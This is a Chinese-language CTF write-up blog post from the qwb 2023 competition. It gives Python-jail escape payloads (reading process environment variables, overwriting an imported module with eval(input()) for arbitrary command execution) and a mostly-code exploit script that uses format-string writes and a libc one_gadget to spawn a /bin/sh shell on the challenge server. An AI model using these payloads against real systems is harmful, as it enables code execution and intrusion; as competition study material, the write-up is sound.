前言

qwb2023 .12.15

被打废了，N1决赛和qwb,有一个pwn可以做的但是已经在做misc看都不看……无语了。

Pyjail ! It's myFILTER !!!|SOLVED|N1nEmAn

读环境变量获取flag

`{print(open("/proc/self/environ").read())}`

pyjail的复仇

先输入下面这个，因为一开始有import code,导入相当于执行了。

`{open("co""de.py","w").write("eva""l(inpu""t())")}`

那么接下来直接就可以任意执行了。

`__import__("os").system("ls")`

ezfmt

第一次改printf的返回地址，然后改main返回地址到os.

```python
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
libset('./libc-2.31.so')
#libset('./libc.so.6')
evgdb()
rsetup('47.104.24.40', 1337)

stack = getx(-15,-1)
stack1 = stack - 8
dx(stack1)

#修改printf的返回地址

sd(b'%4198556c'+b'%19$paaa'+b'aaa%9$n'+p64(stack1))

libc = getx(-65,-51)
base = getbase(libc,'__libc_start_main',243)
os = base + 0xe3b01

os1 = os %0x10000
os2 = os %0x1000000
os2 = os2 >> 16
dx(stack)
dx(os)

pay1 = f'%{os2-4}c'.encode().ljust(8,b'a')
pay2 = f'%{os1-os2-3}c'.encode().ljust(8,b'a')
print(pay1)
```

```
pay = pay1 + b'a%11$hhn'+ pay2 +b'aa%10$hn' +p64(stack-232)+p64(stack-230)
print(len(pay))
pause()
sl(pay)
ia()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
```

posted @ 2023-12-18 19:37 .N1nEmAn 阅读(94) 评论(0)